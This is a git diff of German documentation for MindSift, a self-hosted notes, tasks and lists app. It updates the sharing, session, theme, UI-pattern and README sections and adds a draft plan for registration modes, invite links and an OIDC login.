 - **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
 - **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
 - **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
@@ -51,19 +54,19 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
 
 ## Freigabe
 
-- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
+- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen freigeben – wahlweise mit der Rolle **Bearbeiter** (`write`) oder **Leser** (`read`) ([sharing-and-permissions.md](../sharing-and-permissions.md)). Bearbeiter ändern Inhalt und Struktur über die Sync-Engine; Leser sehen Änderungen live.
 - Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
 - Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
 
 ## Grenzen
 
-- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
+- Keine gleichzeitige Bearbeitung im selben einzelnen Bullet (Sperren pro Bullet und Konfliktkopie statt Zeichen-für-Zeichen-Zusammenführung), keine Cursor-Anzeige fremder Eingaben, keine Versionshistorie.
 - Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
 - ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
 
 ## Export als Markdown-Archiv
 
-Kontoeinstellungen → Private Webhooks & Export → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
+Kontoeinstellungen → Webhooks, KI-Agenten & Export → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
 
 - Ordner und Notizen so, wie der Nutzer sie sieht (eigene Ordner, eingehängte geteilte Ordner, mit ihm geteilte Notizen); leere Ordner bleiben erhalten.
 - Jede Notiz: YAML-Frontmatter (`title`, `icon`, `tags`, `created_at`, `updated_at`) und Markdown, das Obsidian direkt darstellt: Überschriften, Trenner, Hinweisboxen (`> [!note]`) und Codeblöcke der obersten Ebene als echte Blöcke, ihre Kinder rücken eine Ebene nach vorn; alles andere als Liste mit einem Tab pro Ebene, To-dos als `- [ ]`.
@@ -72,7 +75,7 @@ Kontoeinstellungen → Private Webhooks & Export → „Markdown-Archiv herunter
 
 ## Import
 
-Kontoeinstellungen → Private Webhooks & Export → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
+Kontoeinstellungen → Webhooks, KI-Agenten & Export → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
 
 | Weg | Endpunkt | Dateien | Ergebnis |
 |---|---|---|---|

Doku/plans/registrierung-und-login.md

@@ -0,0 +1,103 @@
+# Plan: Registrierung und Anmeldung (Entwurf)
+
+Stand 2026-10-31. **Umgesetzt in v0.23.0:** Abschnitte 1 (Registrierungsmodus und Freigabe), 2 (Umgebungsvariablen) und 3 (Einladungslinks, per E-Mail einladen, mehrfach verwendbare Links). E-Mail-Bestätigung per Link in v0.24.0. OpenID Connect ist zurückgestellt (kein Bedarf), vermerkt in `TODO.md`. Ziel: ein Zwischending zwischen „jeder darf sich registrieren“ und „für jede Person einen Einladungscode erzeugen“, dazu bequemere Anmeldung.
+
+## Heute
+
+- `ALLOW_REGISTRATION` bzw. Admin-Schalter „offene Registrierung“: jeder kann ein Konto anlegen.
+- Sonst nur mit Einladungscode (optional an eine E-Mail-Adresse und eine Organisation gebunden, einmal verwendbar, mit Ablaufdatum).
+- Anmeldung nur mit E-Mail/Benutzername und Passwort (dazu API-Keys für Webhooks).
+
+## 1. Registrierungsmodus statt Ja/Nein
+
+Ein Modus ersetzt den Schalter „offene Registrierung“:
+
+| Modus | Verhalten |
+|---|---|
+| `closed` | Nur mit Einladungscode (wie heute ohne offene Registrierung). |
+| `approval` | Jeder kann sich registrieren, das Konto ist aber **gesperrt, bis ein Admin es freigibt**. |
+| `domain` | Registrierung nur mit E-Mail-Adressen bestimmter Endungen (z. B. `@firma.de, @familie-dach.de`), sofort aktiv. |
+| `domain+approval` | Erlaubte Endungen sofort aktiv, alle anderen warten auf Freigabe. |
+| `open` | Jeder, sofort aktiv (wie heute). |
+
+Einladungscodes funktionieren in jedem Modus und überspringen Freigabe und Endungsprüfung.
+
+**Freigabe durch Admin**
+- Neue Konten im Modus `approval` werden mit `is_active = 0` und einem Status „wartet auf Freigabe“ angelegt (eigenes Feld, damit „gesperrt“ und „wartet“ unterscheidbar bleiben).
+- Die Person sieht nach der Registrierung: „Dein Konto wird geprüft. Du bekommst eine E-Mail, sobald es freigeschaltet ist.“ Anmelden geht bis dahin nicht (gleiche Meldung).
+- Admins bekommen eine Benachrichtigung über die vorhandenen Kanäle (E-Mail/Push, neues Ereignis „Registrierung wartet“) und sehen in der Benutzerverwaltung oben eine Liste **„Wartet auf Freigabe“** mit Freigeben / Ablehnen. Ablehnen löscht das Konto.
+- Bei Freigabe geht eine E-Mail im bekannten Layout an die Person („Dein Konto ist freigeschaltet“ mit Knopf zur App).
+- Ohne SMTP funktioniert alles, nur ohne E-Mails.
+
+**E-Mail-Endungen**
+- Liste von Domains, Vergleich ohne Groß-/Kleinschreibung auf den Teil nach `@` (keine Subdomains, außer ausdrücklich `*.firma.de`).
+- Optional: **E-Mail-Adresse bestätigen** per Link (wie Passwort vergessen, gleiche Token-Technik), bevor das Konto aktiv wird. Sonst kann jeder `chef@firma.de` eintippen. Bei `domain` sollte die Bestätigung Pflicht sein, wenn SMTP eingerichtet ist.
+
+**Missbrauch**
+- Gleiche Bremse wie beim Login (Anfragen pro IP), dazu höchstens N wartende Registrierungen gleichzeitig (z. B. 50), danach „gerade keine Registrierung möglich“.
+- In der Demo bleibt Registrierung aus.
+
+## 2. Einstellungen: Admin-Oberfläche oder Umgebungsvariablen
+
+Damit die Admin-Einstellungen nicht überladen werden:
+
+- **Admin-Oberfläche:** nur der Modus (Auswahlfeld) und darunter, je nach Modus, das Feld für die erlaubten Endungen. Die Liste „Wartet auf Freigabe“ steht in der Benutzerverwaltung, nicht in den Einstellungen.
+- **Umgebungsvariablen** (gewinnen, wenn gesetzt; das Feld in der Oberfläche ist dann gesperrt mit Hinweis „über die Umgebung festgelegt“ – so wie heute bei SMTP):
+
+  ```env
+  REGISTRATION_MODE=domain+approval      # closed | approval | domain | domain+approval | open
+  REGISTRATION_DOMAINS=firma.de,familie-dach.de
+  REGISTRATION_VERIFY_EMAIL=true          # Bestätigungslink vor Aktivierung
+  ```
+- `ALLOW_REGISTRATION=true` bleibt als Alias für `REGISTRATION_MODE=open` erhalten.
+
+## 3. Einladungen bequemer
+
+Heute: Der Admin erzeugt einen Code (optional an eine E-Mail-Adresse und Organisation gebunden, Rolle, Gültigkeit 1–365 Tage, **einmal** verwendbar) und gibt ihn weiter; die Person wählt auf der Anmeldeseite „Einladungscode“ und tippt ihn ab.
+
+**Einladungslink**
+- Jeder Code ist auch als Link nutzbar: `https://<instanz>/?invite=<CODE>`. Der Link öffnet direkt die Registrierung mit eingetragenem Code; ist er an eine Adresse gebunden, steht die E-Mail schon fest.
+- Die App entfernt den Code nach dem Öffnen aus der Adresszeile (wie beim Passwort-Link).
+- In der Admin-Liste neben jedem Code: **Link kopieren** und – mit SMTP – **per E-Mail einladen** (Adresse eingeben → E-Mail im MindSift-Layout mit Knopf „Konto anlegen“, wer eingeladen hat, Gültigkeit). Beim Einladen per E-Mail wird der Code automatisch an diese Adresse gebunden.
+- Den Link baut die Admin-Oberfläche aus der aktuellen Adresse; nur die E-Mail braucht `BASE_URL`.
+
+**Mehrere Personen mit einem Code**
+- Neues Feld **„Wie oft verwendbar“** (Standard 1, z. B. 20) – ein Link für eine ganze Gruppe, Klasse oder Familie. In der Liste steht „3 von 20 verwendet“, Widerrufen beendet ihn sofort.
+- Mehrfach-Codes können nicht an eine einzelne E-Mail gebunden werden, wohl aber an eine Organisation und an die erlaubten E-Mail-Endungen (Abschnitt 1).
+- Technisch: Spalten `max_uses` und `use_count` an `user_invites`; das bestehende „Code reservieren → Konto anlegen → als benutzt markieren“ zählt dann hoch statt abzuschließen (weiter ohne Doppelverwendung bei gleichzeitigen Registrierungen).
+
+## 4. Anmelden mit anderen Konten (zurückgestellt)
+
+### OpenID Connect (statt „nur Google“)
+
+Ein allgemeiner OIDC-Login deckt Google, Microsoft, Apple und vor allem **selbst gehostete Anbieter** ab: Authentik, Keycloak, Authelia – und **Gitea/Forgejo selbst** kann OIDC-Anbieter sein. Für ein Homelab ist das meist nützlicher als Google.
+
+- Konfiguration nur per Umgebung (Geheimnisse gehören nicht in die Datenbank-Oberfläche):
+  ```env
+  OIDC_ISSUER=https://git.dsit.me/          # oder https://accounts.google.com
+  OIDC_CLIENT_ID=…
+  OIDC_CLIENT_SECRET=…
+  OIDC_BUTTON_LABEL=Mit Gitea anmelden
+  OIDC_ALLOWED_DOMAINS=firma.de             # optional, sonst gilt der Registrierungsmodus
+  OIDC_AUTO_CREATE=true                     # neues Konto beim ersten Login anlegen (Modus/Freigabe gelten)
+  ```
+- Ablauf: Authorization Code Flow mit PKCE, `state` und `nonce`; Rückkehr auf `BASE_URL/api/v1/auth/oidc/callback`. Konten werden über `iss`+`sub` verknüpft (neue Tabelle), nicht nur über die E-Mail.
+- Besteht schon ein Konto mit derselben, vom Anbieter **bestätigten** E-Mail, wird es nach Passwortabfrage verknüpft (kein stilles Übernehmen fremder Konten).
+- Danach normale MindSift-Sitzung (wie heute), Abmelden bleibt lokal.
+- Passwort-Login bleibt daneben möglich; optional `PASSWORD_LOGIN=false`, wenn nur noch OIDC gewünscht ist (Admin-Notzugang beachten).
+
+Eine Anmeldung über den Mailserver (SMTP-Prüfung wie in Gitea) ist bewusst nicht vorgesehen: Das Mailpasswort liefe durch MindSift, und große Anbieter erlauben es meist nicht mehr.
+
+## Reihenfolge und Aufwand (grob)
+
+1. Einladungslink (Link kopieren, per E-Mail einladen) und mehrfach verwendbare Codes – klein bis mittel, sofort nützlich. (Mehrere Einzel-Codes auf einmal erzeugen ist damit überflüssig und entfällt.)
+2. Registrierungsmodus mit Freigabe und Endungen, Umgebungsvariablen, Admin-Liste „Wartet auf Freigabe“, E-Mails – mittel.
+3. E-Mail-Bestätigung per Link – klein (Technik wie Passwort vergessen).
+4. OIDC-Login – mittel (Bibliothek `coreos/go-oidc` + `golang.org/x/oauth2`, neue Tabelle für verknüpfte Konten, Knopf auf der Anmeldeseite).
+
+## Offene Fragen
+
+- Sollen Admins bei jeder wartenden Registrierung benachrichtigt werden oder reicht ein Zähler in der Benutzerverwaltung?
+- Neue Konten per Endung automatisch einer Organisation zuordnen (z. B. `@firma.de` → Organisation „Firma“)?
+- Welcher OIDC-Anbieter zuerst: Gitea, Google, Authentik …?
+- Soll ein abgelehnter Antrag gesperrt bleiben (gleiche Adresse kann es nicht erneut versuchen) oder einfach gelöscht werden?

Doku/sharing-and-permissions.md

@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
 
 ## Sitzungen und Zugriff
 
-- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
+- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
 - Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
-- Bekannte Lücken in der Zugriffskontrolle:.
+- Bekannte Lücken in der Zugriffskontrolle: siehe [flaws.md](flaws.md).

Doku/theming.md

@@ -80,8 +80,13 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
 | :--- | :--- | :--- | :--- |
 | `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) |
 | `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
-| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
-| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
+| `terracotta` | [`theme-terracotta.css`](../frontend/src/themes/theme-terracotta.css) | Warmes Cremepapier, Tinte, Terrakotta-Akzent, eigene Code-Farben in Erdtönen | Weich (`12px`) |
+| `terracotta-night` | [`theme-terracotta-night.css`](../frontend/src/themes/theme-terracotta-night.css) | Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent | Weich (`12px`) |
+| `fjord` / `fjord-night` | [`theme-fjord.css`](../frontend/src/themes/theme-fjord.css), [`theme-fjord-night.css`](../frontend/src/themes/theme-fjord-night.css) | Kühles Papier und Gletscherblau / Nachtblau | Weich (`12px`) |
+| `polarized-light` | [`theme-polarized-light.css`](../frontend/src/themes/theme-polarized-light.css) | Helles Gegenstück zu Polarized: Mintweiß, Petrol | Eckig (`0px`) |
+| `suri-light` | [`theme-suri-light.css`](../frontend/src/themes/theme-suri-light.css) | Helles Gegenstück zu Suri: Lavendel, Pflaume | Weich (`10px`) |
+
+Die eingebauten Themes sind in Farbfamilien mit je einer hellen und dunklen Variante gruppiert (`THEME_FAMILIES` in [`theme.ts`](../frontend/src/lib/theme.ts)). Pro Gerät lassen sich unter Darstellung zusätzlich einstellen: Hell/Dunkel „Wie System“ (wechselt innerhalb der Familie), Ecken (`data-corners="round|square"` überschreibt die `--radius-*`-Werte), Rahmen an Knöpfen (`data-button-borders="off"`) und eine eigene Akzentfarbe (setzt `--accent-*` direkt am Wurzelelement). Code-Farben in `index.css` sind nur Rückfallwerte (`:where(...)`), die `--code-*`-Werte eines Themes gewinnen immer.
 | `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
 | `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
 | *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |

Doku/ui-patterns.md

@@ -36,8 +36,9 @@ Komponente: [AvatarStack.tsx](../frontend/src/components/AvatarStack.tsx) (nutzt
 
 Komponente: [ToggleSwitch.tsx](../frontend/src/components/ToggleSwitch.tsx)
 
-- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken (Einrichtung, Admin-Bereich).
+- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken und keine „angehakten“ Buttons (Einrichtung, Admin-Bereich, Berechtigungen eines API-Keys, Bereiche beim Import und Wiederherstellen → `SectionPicker`).
 - Text links (Titel, darunter eine kurze Erklärung in `text-muted`), Schalter rechts.
+- Eine Auswahl **einer** Option aus mehreren (Import-Modus, Ecken, Theme-Folgen) bleibt eine Button-Gruppe mit `role="radio"`.
 
 ## Kleine Dialoge (Anlegen, Umbenennen)
 
@@ -73,9 +74,9 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
 Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
 
 - **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
-- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
+- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über `useVoiceInput` (im Server-Modus per Whisper mit echten Pegel-Wellen, sonst über die Spracherkennung des Browsers). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
 - **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
 - **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
-- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
+- **Fallback:** Ist die Spracheingabe abgeschaltet (`STT_DISABLED=true`), unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
 
 

README.md

@@ -6,14 +6,16 @@
 [![Self-Hosted](https://img.shields.io/badge/100%25-Self--Hosted-2563eb?style=flat-square)](#)
 [![Docker](https://img.shields.io/badge/Deployment-Single%20Container-2496ed?style=flat-square&logo=docker&logoColor=white)](#-schnellstart)
 [![SQLite](https://img.shields.io/badge/Daten-SQLite-003b57?style=flat-square&logo=sqlite&logoColor=white)](#-deine-daten-gehören-dir)
-[![Version](https://img.shields.io/badge/Version-v0.4-16a34a?style=flat-square)](#-schnellstart)
+[![Version](https://img.shields.io/badge/Version-v0.28.0-16a34a?style=flat-square)](CHANGELOG.md)
 
 **MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
 
 <p align="center">
-  <img src="screenshots/Triage_desktop.png" alt="MindSift Triage Desktop" width="85%" />
+  <img src="screenshots/Triage_desktop.webp" alt="MindSift Triage am Desktop, links hell, rechts dunkel" width="85%" />
 </p>
 
+<sub>Links das helle, rechts das dunkle Theme.</sub>
+
 [Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation)
 
 </div>
@@ -34,70 +36,102 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
 
 ### ⚡ Schnellerfassung & Triage
 
-* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion).
+* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)); auf Smartphones auch per Gedrückthalten des `+`-Knopfs (Hold-to-Record mit Pegel-Wellen).
 * Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
-* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste.
+* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste oder über große Knöpfe unter der Karte; die Warteschlange klappt bei Bedarf auf.
+* **Teilen aus anderen Apps:** Als installierte App erscheint MindSift im Teilen-Menü des Smartphones; geteilte Texte und Links landen im Posteingang und lassen sich direkt danach mit einem Tipp zur Aufgabe oder auf eine Liste schicken.
 * Papierkorb mit Wiederherstellen.
 
 <p align="center">
-  <img src="screenshots/Mobile_Triage.png" alt="MindSift Mobile Triage" width="280px" />
+  <img src="screenshots/Mobile_Triage.webp" alt="MindSift Triage am Smartphone, helles Theme" width="280px" />
+  &nbsp;&nbsp;
+  <img src="screenshots/Mobile_Workspace.webp" alt="MindSift Notiz am Smartphone, dunkles Theme" width="280px" />
 </p>
 
 ### ✅ Aufgaben & Kanban
 
 * Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar.
 * Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
-* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board.
+* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board, auch auf den Reiter einer anderen Aufgabenliste.
 * **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
-* **Alarme** bei Fälligkeit per E-Mail, Discord oder eigenem Webhook.
+* **Aufgaben beobachten:** Beliebige Aufgaben per Klick abonnieren, um über alle Änderungen informiert zu werden.
+* **Wiederholungen:** Wiederkehrende Aufgaben (täglich, wöchentlich, monatlich, jährlich) mit automatischer Folgeaufgabe beim Abhaken.
+* **Tageszusammenfassung:** Tägliche Übersicht fälliger Aufgaben zur selbst gewählten Uhrzeit per E-Mail, Discord, eigenem Webhook oder Push.
+* **Push-Benachrichtigungen** auf Handy und Desktop (auch bei geschlossener App; iPhone/iPad als Home-Bildschirm-App), als eigener Kanal je Ereignis.
+* **Alarme & Benachrichtigungen:** Fälligkeits-Alarme sofort, alle übrigen Ereignisse (Freigaben, erledigte geteilte Aufgaben, beobachtete Aufgaben) gebündelt; pro Ereignis wählbar über E-Mail, Discord, eigenen Webhook und Push.
 
 <p align="center">
-  <img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
+  <img src="screenshots/aufgaben_desktop.webp" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
 </p>
 
 ### 📝 Workspace: Outliner-Notizen
 
-* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste.
-* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren.
-* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`.
-* Wiki-Links `[[Notiz]]`, Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
+* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste; am Handy eine Leiste über der Tastatur zum Ein-/Ausrücken und Verschieben.
+* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren; **Fokus-Modus** (`Strg+Umschalt+F`) zeigt nur die Notiz in Lesebreite, Ordner gleiten bei Bedarf von links herein.
+* **Journal:** eine Notiz pro Tag, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach), mit Kalender zum Springen; einzelne Tage lassen sich teilen. Pro Gerät abschaltbar.
+* Blocktypen und Slash-Befehle: `/todo`, `/number` (nummerierte Liste: 1., a., i.), `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`, `/extract`, `/image`, `/audio`, `/diktat`.
+* **Bilder & Audio in Notizen:** `/image` (Datei, Kamera, Zwischenablage oder Link), `/audio` (Sprachnotiz oder Datei-Upload) und `/diktat` (Live-Transkription).
+* **Link-Vorschau:** Vorschaukarte (Titel, Beschreibung, Bild) für Punkte, die nur aus einer Web-Adresse bestehen, z. B. über `/link`; die Seite ruft der Server ab, nicht dein Browser. Pro Gerät abschaltbar.
+* **Ast auslagern & Notizen zusammenführen:** Bulletpoints samt Unterbaum in eigenständige Notizen auslagern (`/extract`) oder Notizen per Drag & Drop bzw. Menü zusammenführen (jeweils mit vollständiger Rückgängig-Funktion).
+* Wiki-Links `[[Notiz]]`, auch auf **einzelne Punkte** (`[[Notiz#^id|Text]]`, kopierbar an jedem Punkt), Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
 * Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
-* Einfügen von mehrzeiligem Markdown wird in Blöcke zerlegt; `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
+* Eingefügtes Markdown wird zur Gliederung: Überschriften werden zu Abschnitten mit eingerücktem Inhalt, Listen (auch nummeriert) behalten ihre Ebenen, Absätze werden eigene Punkte. Kürzel beim Tippen: `- `, `1. `, `[] `, `# `, `Strg+B`/`I`/`K`. `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
 * **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein.
 
 #### 🤝 Gemeinsam bearbeiten
 
-* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Der Kopf der Notiz zeigt, wer gerade mitliest.
+* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Die Leiste über der Notiz zeigt, wer gerade mitliest.
 * **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten.
 * **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz.
-* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht im Editor („Live“, „Abgleich alle 3 s“).
+* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht in der Leiste über der Notiz („Live“, „Abgleich alle 3 s“).
 
 Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md).
 
 <p align="center">
-  <img src="screenshots/workspace_desktop.png" alt="MindSift Workspace Outliner" width="90%" />
+  <img src="screenshots/workspace_desktop.webp" alt="MindSift Workspace: zwei Personen in derselben Notiz" width="90%" />
+</p>
+
+<p align="center">
+  <img src="screenshots/journal_desktop.webp" alt="MindSift Journal mit Kalender" width="90%" />
 </p>
 
 ### 🛒 Geteilte Listen
 
-* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien.
+* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien oder in eine andere Liste.
 * Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit.
 
 <p align="center">
-  <img src="screenshots/Listen_desktop.png" alt="MindSift Geteilte Listen" width="90%" />
+  <img src="screenshots/Listen_desktop.webp" alt="MindSift Geteilte Listen" width="90%" />
 </p>
 
 ### 🏢 Benutzer, Gruppen, Administration
 
-* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
+* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*. Einladungen als Code oder Link (auch für mehrere Personen, auf Wunsch per E-Mail verschickt). Registrierung ohne Einladung wahlweise geschlossen, mit Freigabe durch einen Admin, nur für bestimmte E-Mail-Endungen oder offen, auf Wunsch mit Bestätigung der E-Mail-Adresse per Link – auch fest per Umgebungsvariable.
 * Gruppen mit Gruppen-Admins für Freigaben.
-* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
